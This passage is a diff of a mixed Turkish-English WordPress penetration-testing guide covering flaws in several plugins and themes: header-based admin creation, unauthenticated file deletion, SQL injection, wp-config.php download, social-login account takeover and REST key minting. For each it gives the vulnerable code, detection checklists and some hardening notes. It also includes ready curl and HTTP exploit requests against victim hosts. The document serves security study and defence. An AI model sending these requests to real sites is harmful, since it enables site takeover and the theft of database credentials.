hesabıdır.) +- İstismar edilen rota: `POST /wp-json/wp/v2/users` yükseltilmiş bir rol dizisi ile. PoC ```http @@ -391,40 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Neden işe yarıyor +Why it works -- Plugin, istemci tarafından kontrol edilen bir header'ı authentication state ile eşler ve capability kontrollerini atlar. -- WordPress core bu route için `create_users` capability'sini bekler; plugin hack'i bu kontrolü header'dan doğrudan current user context ayarlayarak atlatır. +- The plugin maps a client-controlled header to authentication state and skips capability checks. +- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. -Beklenen başarı göstergeleri +Expected success indicators -- HTTP 201 ve oluşturulan kullanıcıyı tanımlayan bir JSON body. -- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı. +- HTTP 201 with a JSON body describing the created user. +- A new admin user visible in `wp-admin/users.php`. -Tespit kontrol listesi +Detection checklist -- `getallheaders()`, `$_SERVER['HTTP_...']` için grep yapın veya vendor SDK'ları gibi custom header'ları okuyup user context ayarlayan kütüphanelere bakın (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Privileged callback'leri olan REST kayıtlarını inceleyin; sağlam bir `permission_callback` kontrolü olmayan ve bunun yerine request header'larına güvenenleri tespit edin. -- REST handler'ları içinde yalnızca header değerleri ile sınırlanan core user-management fonksiyonlarının (`wp_insert_user`, `wp_create_user`) kullanımlarına bakın. +- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. +- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. -Sertleştirme +### Yetkilendirilmemiş Rastgele Dosya Silme via wp_ajax_nopriv (Litho Theme <= 3.0) -- Authentication veya authorization'ı istemci kontrollü header'lardan türetmeyin. -- Bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda strip edin (ör. edge'de `unset X-Wcpay-Platform-Checkout-User`), sonra imzalı bir token ile iletin ve server-side doğrulayın. -- Privileged action yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` zorunlu kılın ( `__return_true` kullanmayın). -- Header “impersonation” yerine birinci taraf auth'u (cookies, application passwords, OAuth) tercih edin. +WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. **_nopriv_** varyantı kullanıldığında **geri çağrı yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ek olarak şunları uygulamalıdır: -Referanslar: halka açık bir vaka ve daha geniş analiz için sayfanın sonundaki linklere bakın. +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. -### wp_ajax_nopriv ile Yetkisiz Keyfi Dosya Silme (Litho Theme <= 3.0) - -WordPress temaları ve eklentileri sıkça AJAX handler'larını `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca aşağıdakileri uygulamalıdır: - -1. Bir **yetki kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve -2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve -3. **Sıkı girdi sanitizasyonu / doğrulaması**. - -Litho multipurpose theme (< 3.1) bu 3 kontrolü *Remove Font Family* özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (sadeleştirilmiş) dağıtmış: +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -443,60 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Bu kod parçasının yol açtığı sorunlar: +Bu kod parçasının ortaya çıkardığı sorunlar: -* **Kimlik doğrulaması olmayan erişim** – `wp_ajax_nopriv_` hook'ı kayıtlı. -* **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'e istek gönderebilir. -* **Yol sanitizasyonu yok** – kullanıcı kontrollü `fontfamily` string'i filtrelenmeden dosya sistemi yoluna ekleniyor, klasik `../../` traversal'a izin veriyor. +* **Kimlik doğrulamasız erişim** – `wp_ajax_nopriv_` hook kayıtlı. +* **No nonce / capability check** – herhangi bir ziyaretçi endpoint'e istek gönderebilir. +* **No path sanitisation** – kullanıcı kontrollü `fontfamily` string'i filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik `../../` traversal'a izin veriyor. #### İstismar -Bir saldırgan tek bir HTTP POST isteği göndererek herhangi bir dosyayı veya dizini **uploads ana dizininin altında** (genellikle `/wp-content/uploads/`) silebilir: +Bir saldırgan tek bir HTTP POST isteği göndererek **uploads temel dizininin altındaki** (normalde `/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -`wp-config.php` *uploads* klasörünün dışında bulunduğu için, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php`'yi silmek bir sonraki ziyarette WordPress'i *kurulum sihirbazı* durumuna sokar ve tam site ele geçirmeye olanak verir (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin user oluşturur). +Çünkü `wp-config.php` *uploads*'un dışında bulunduğundan, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı*'na sokar ve tam site ele geçirmeye olanak sağlar (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin kullanıcı oluşturur). -Diğer etkili hedefler arasında plugin/theme `.php` dosyaları (security plugin'lerini bozmak için) veya `.htaccess` kuralları yer alır. +Diğer etkili hedefler plugin/theme `.php` dosyaları (güvenlik eklentilerini kırmak için) veya `.htaccess` kurallarıdır. #### Tespit kontrol listesi -* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i. -* Temizlenmemiş kullanıcı girdilerinin yollara eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`). -* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` fonksiyonlarının yokluğu. - -#### Sertleştirme -```php -function secure_remove_font_family() { -if ( ! is_user_logged_in() ) { -wp_send_json_error( 'forbidden', 403 ); -} -check_ajax_referer( 'litho_fonts_nonce' ); - -$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); -$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - -if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { -wp_send_json_error( 'invalid path', 400 ); -} -// … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` -> [!TIP] -> **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak ele alın ve çift kontrol yapın: -> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). +* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()` vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i. +* Path'lere temizlenmemiş kullanıcı girdisinin eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`). +* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` yokluğu. --- -### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") +### Yetki yükseltme: eskimiş rol geri yükleme ve yetkilendirme eksikliği (ASE "View Admin as Role") -Birçok plugin, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca request parametrelerine (ör. `$_REQUEST['reset-for']`) ve plugin tarafından tutulan bir listeye dayanıyor ve capabilities ile valid nonce kontrolü yapmıyorsa, bu bir vertical privilege escalation haline gelir. +Birçok eklenti, orijinal rol(leri) user meta'da saklayıp daha sonra geri yükleyebilmek için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca istek parametrelerine (örn. `$_REQUEST['reset-for']`) ve eklentinin tuttuğu bir listeye dayanıyor, capability kontrolleri ve geçerli bir nonce doğrulaması yoksa bu dikey yetki yükseltmesine dönüşür. -Gerçek bir örnek Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) içinde bulunmuştur. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles` içindeki kaydedilmiş rolleri tekrar eklemeden önce ne bir `current_user_can()` kontrolü ne de bir nonce doğrulaması yapıyordu: +Gerçek dünyadan bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde yer alıyorsa `reset-for=` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles`'den kaydedilmiş rolleri tekrar eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yapıyordu: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -511,17 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Neden istismar edilebilir +Neden sömürülebilir -- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir plugin seçeneğine güvenir. -- Daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıklara sahip olup yetkisi düşürülmüş bir kullanıcı, sıfırlama yoluna erişerek bunları geri yükleyebilir. -- Bazı dağıtımlarda, yetkilendirme hatası nedeniyle herhangi bir kimlikli kullanıcı, `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adına reset tetikleyebilir (broken authorization). - -Saldırı önkoşulları - -- Özelliği etkin olan etkilenmiş plugin sürümü. -- Hedef hesabın, önceki kullanımdan kalan ve user meta'da saklı yüksek ayrıcalıklı bir role sahip olması. -- Herhangi bir doğrulanmış oturum; reset akışında nonce/capability eksikliği. +- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir eklenti seçeneğine güvenir. +- Eğer bir kullanıcı daha önce yüksek ayrıcalıklarını `_asenha_view_admin_as_original_roles` içinde kaydetmişse ve daha sonra yetkileri düşürülmüşse, sıfırlama yoluna erişerek bunları geri alabilir. +- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için sıfırlamayı tetikleyebilir (yetkilendirme hatası). İstismar (örnek) ```bash @@ -531,36 +493,23 @@ Saldırı önkoşulları curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (örn. `administrator`) yeniden ekler; bu da ayrıcalıkların yükselmesine yol açar. +Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) tekrar ekler; bu da etkili şekilde ayrıcalıkları yükseltir. Detection checklist -- Rol değiştirme özelliklerinde, kullanıcı meta verisinde “orijinal rolleri” (örn. `_asenha_view_admin_as_original_roles`) saklayan öğeleri arayın. -- Sıfırlama/geri yükleme yollarını belirleyin: - - Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan. - - Rolleri `add_role()` / `remove_role()` ile değiştiren ve bunu `current_user_can()` ile `wp_verify_nonce()` / `check_admin_referer()` kontrolleri olmadan yapan. - - Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (örn. `viewing_admin_as_role_are`) dayandıran. - -Hardening - -- Her durum değişikliğine yol açan kod dalında yetenek kontrollerini zorunlu kılın (örn. `current_user_can('manage_options')` veya daha sıkı). -- Tüm rol/izin değişiklikleri için nonce gerektirin ve doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`. -- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikaya göre belirleyin. -- Profil/rol güncellemelerinde “orijinal rolleri” durumu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin: -```php -add_action( 'profile_update', function( $user_id ) { -delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` -- Geçici rol değişimleri için minimum durum saklamayı ve süreli, yetki-korumalı token'lar kullanmayı düşünün. +- Kullanıcı meta alanında “original roles”i saklayan rol‑değiştirme özelliklerini ara (ör. `_asenha_view_admin_as_original_roles`). +- Şu tür sıfırlama/geri yükleme yollarını belirle: +- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan. +- Rolleri `add_role()` / `remove_role()` ile, `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan değiştiren. +- Yetkilendirmeyi, işlemi yapan kullanıcının yetenekleri yerine bir eklenti seçenek dizisine (ör. `viewing_admin_as_role_are`) dayandıran. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Kimlik doğrulaması olmayan ayrıcalık yükseltmesi via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Bazı eklentiler user-switching yardımcılarını public `init` hook'una bağlar ve kimliği client-controlled cookie'den türetir. Eğer kod `wp_set_auth_cookie()`'ı kimlik doğrulama, capability ve geçerli bir nonce doğrulaması yapmadan çağırıyorsa, herhangi bir yetkilendirilmemiş ziyaretçi rastgele bir kullanıcı ID'si ile zorla giriş yapabilir. +Bazı eklentiler user‑switching yardımcılarını public `init` hook'una bağlar ve kimliği istemci kontrollü bir çerezden türetir. Eğer kod `wp_set_auth_cookie()`'u kimlik doğrulamasını, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimliği doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak zorla oturum açtırabilir. -Tipik zayıf desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş): +Tipik savunmasız desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Neden istismar edilebilir -- Public `init` hook, handler'ın kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir `is_user_logged_in()` koruması yok). -- Kimlik, istemci tarafından değiştirilebilen bir cookie (`original_user_id`) üzerinden türetilir. -- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunan kişiyi herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır. +- Herkese açık `init` hook, handler'ın kimlik doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (`is_user_logged_in()` koruması yok). +- Kimlik, istemci tarafından değiştirilebilen bir cookie olan `original_user_id` değerinden türetilir. +- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır. -İstismar (kimliği doğrulanmamış) +İstismar (kimlik doğrulanmamış) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -604,33 +553,32 @@ User-Agent: PoC Connection: close ``` --- +### WordPress/plugin CVE'leri için WAF hususları -### WAF considerations for WordPress/plugin CVEs - -Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. +Genel edge/server WAF'ları geniş desenler (SQLi, XSS, LFI) için ayarlanmıştır. Birçok yüksek etkili WordPress/plugin açığı, uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress yollarını ve plugin semantiklerini anlamadıkça zararsız trafik gibi görünür. Saldırı notları -- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. -- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Plugin'e özgü endpoint'leri temiz payloadlarla hedefleyin: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Önce kimlik doğrulama gerektirmeyen yolları test edin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payloadlar genellikle obfuscation olmadan başarılı olur. +- Tipik yüksek etkili durumlar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Savunma notları -- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. -- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. +- Plugin CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama katmanı, açığa özgü sanal yamalar uygulayın veya hızlıca güncelleyin. +- Kodda negatif regex filtreleri yerine pozitif güvenlik kontrollerini tercih edin (capabilities, nonces, strict input validation). -## WordPress Protection +## WordPress Koruması -### Regular Updates +### Düzenli Güncellemeler -Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: +WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php içinde otomatik güncellemelerin etkinleştirildiğini doğrulayın: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ayrıca, **sadece güvenilir WordPress plugins and themes yükleyin**. +Ayrıca, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**. ### Güvenlik Eklentileri @@ -641,15 +589,15 @@ Ayrıca, **sadece güvenilir WordPress plugins and themes yükleyin**. ### **Diğer Öneriler** - Varsayılan **admin** kullanıcısını kaldırın -- Güçlü **şifreler** ve **2FA** kullanın +- **Güçlü parolalar** ve **2FA** kullanın - Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** -- **Giriş denemelerini sınırlayın** Brute Force saldırılarını önlemek için +- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlandırın** - **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin. -### Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2) +### Yetersiz doğrulama nedeniyle kimlik doğrulaması gerektirmeyen SQL Injection (WP Job Portal <= 2.3.2) -WP Job Portal recruitment plugin, sonuçta **savecategory** görevini açığa çıkardı; bu görev en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki güvenli olmayan kodu çalıştırıyordu: +WP Job Portal recruitment plugin, en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki zafiyetli kodu çalıştıran **savecategory** görevini açığa çıkardı: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -659,19 +607,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +Bu kod parçasının yol açtığı problemler: -1. **Temizlenmemiş kullanıcı girdisi** – `parentid` doğrudan HTTP isteğinden geliyor. -2. **WHERE cümlesinde string birleştirme** – `is_numeric()` / `esc_sql()` / prepared statement yok. -3. **Kimliksız erişilebilirlik** – işlem `admin-post.php` üzerinden çalıştırılıyor olmasına rağmen, yerdeki tek kontrol **CSRF nonce** (`wp_verify_nonce()`), bu nonce'u herhangi bir ziyaretçi `[wpjobportal_my_resumes]` shortcode'unu içeren bir açık sayfadan alabilir. +1. **Temizlenmemiş kullanıcı girişi** – `parentid` doğrudan HTTP isteğinden geliyor. +2. **WHERE koşulu içinde string birleştirme** – `is_numeric()` / `esc_sql()` / prepared statement yok. +3. **Kimlik doğrulama gerektirmeyen erişilebilirlik** – action `admin-post.php` üzerinden çalıştırılsa da, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`), ki bu herhangi bir ziyaretçi tarafından kısa kodu `[wpjobportal_my_resumes]` içeren açık bir sayfadan alınabilir. #### İstismar -1. Taze bir nonce alın: +1. Yeni bir nonce al: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid`'i kötüye kullanarak arbitrary SQL enjekte edin: +2. `parentid`'i kötüye kullanarak keyfi SQL enjekte et: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -679,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Yanıt enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar. +Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar. -### Kimliksız Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Başka bir görev, **downloadcustomfile**, ziyaretçilere path traversal yoluyla diskteki **herhangi bir dosyayı** indirme izni veriyordu. Zayıf sink şu dosyada bulunur: `modules/customfield/model.php::downloadCustomUploadedFile()`: +Başka bir task, **downloadcustomfile**, ziyaretçilerin path traversal yoluyla diskteki **herhangi bir dosyayı** indirmesine izin veriyordu. Zayıf nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunuyor: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` saldırgan tarafından kontrol ediliyor ve **girdi temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabilir. +`$file_name` saldırgan tarafından kontrol ediliyor ve **temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabiliyor. #### İstismar ```bash @@ -701,9 +649,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials and auth keys. +Sunucu `wp-config.php` içeriğiyle yanıt verir, leaking DB credentials ve auth keys. -## Referanslar +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) + +Birçok tema/eklenti, admin-ajax.php üzerinden erişilebilen "social login" yardımcıları ile gelir. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda istemci tarafından sağlanan tanımlayıcılara güvenip ardından wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür. + +Tipik hatalı desen (basitleştirilmiş) +```php +public function check_login() { +// ... request parsing ... +switch ($_POST['using']) { +case 'fb': /* set $user_email from verified Facebook token */ break; +case 'google': /* set $user_email from verified Google token */ break; +// other providers ... +default: /* unsupported/missing provider – execution continues */ break; +} + +// FALLBACK: trust POSTed "id" as email if provider data missing +$user_email = !empty($user_email) +? $user_email +: (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); + +if (empty($user_email)) { +wp_send_json(['status' => 'not_user']); +} + +$user = get_user_by('email', $user_email); +if ($user) { +wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user +wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); +} +wp_send_json(['status' => 'not_user']); +} +// add_action('wp_ajax_nopriv_', [$this, 'check_login']); +``` +Neden sömürülebilir + +- Kimlik doğrulanmamış erişim admin-ajax.php üzerinden (wp_ajax_nopriv_… action). +- Durum değişikliğinden önce nonce/capability kontrolleri yok. +- OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan branch saldırgan girdisini kabul ediyor. +- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) istekte bulunanı herhangi bir mevcut e-posta adresi olarak yetkilendiriyor. + +İstismar (kimlik doğrulanmamış) + +- Önkoşullar: saldırgan /wp-admin/admin-ajax.php adresine erişebiliyor ve geçerli bir kullanıcı e-postasını biliyor/tahmin ediyor. +- provider'ı desteklenmeyen bir değere ayarlayın (veya hiç göndermeyin) böylece varsayılan branch'e girilir ve id= gönderilir. +```http +POST /wp-admin/admin-ajax.php HTTP/1.1 +Host: victim.tld +Content-Type: application/x-www-form-urlencoded + +action=&using=bogus&id=admin%40example.com +``` + +```bash +curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ +-d "action=&using=bogus&id=admin%40example.com" +``` +Expected success indicators + +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. + +Finding the action name + +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. + +Detection checklist + +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. + +Hardening + +- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. + +Patched behaviour (Jobmonster 4.8.0) + +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). + +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Bazı pluginler, çağıranın yeteneklerini doğrulamadan yeniden kullanılabilir “connection keys” veya tokenlar mint eden REST endpointleri açığa çıkarır. Eğer route sadece tahmin edilebilir bir özniteliğe göre (örn. username) authenticate ediyorsa ve key’i kullanıcı/oturum ile capability checks ile bağlamıyorsa, herhangi bir unauthenticated attacker bir key mint edebilir ve ayrıcalıklı işlemleri tetikleyebilir (admin hesap oluşturma, plugin actions → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – mint a connection key and use it +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ +-H 'Content-Type: application/json' \ +--data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ +-H 'Content-Type: application/json' \ +-H 'X-Connection-Key: ' \ +--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` +Neden sömürülebilir +- Düşük entropili kimlik kanıtı (username) ile korunmuş veya permission_callback eksik olan hassas REST rota +- Yetki (capability) denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor + +Tespit kontrol listesi +- Eklenti kodunda şu ifadeyi grep edin: register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- İstemci tarafından sağlanan kimlik (username/email) temel alınarak token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya capability'ye bağlamayan herhangi bir rota +- Sunucu tarafı capability kontrolleri olmadan oluşturulan token/anahtarı kabul eden sonraki rotaları arayın + +Güçlendirme +- Herhangi bir ayrıcalıklı REST rota için: gerekli capability'i dayatan bir permission_callback gerektirin (current_user_can() kullanarak) +- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtarlar oluşturmayın; gerekiyorsa kimlik doğrulama sonrası kısa ömürlü, kullanıcıya bağlı token'lar verin ve kullanımda capability'leri yeniden kontrol edin +- Çağıranın kullanıcı bağlamını doğrulayın (wp_set_current_user tek başına yeterli değildir) ve !is_user_logged_in() || !current_user_can() olan istekleri reddedin + +--- + +## Nonce gate misuse → kimlik doğrulanmamış rastgele eklenti kurulumu (FunnelKit Automations ≤ 3.5.3) + +Nonces CSRF'i önler, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için capability kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zafiyetli bir eklenti yükleyerek RCE'ye ulaşabilir. + 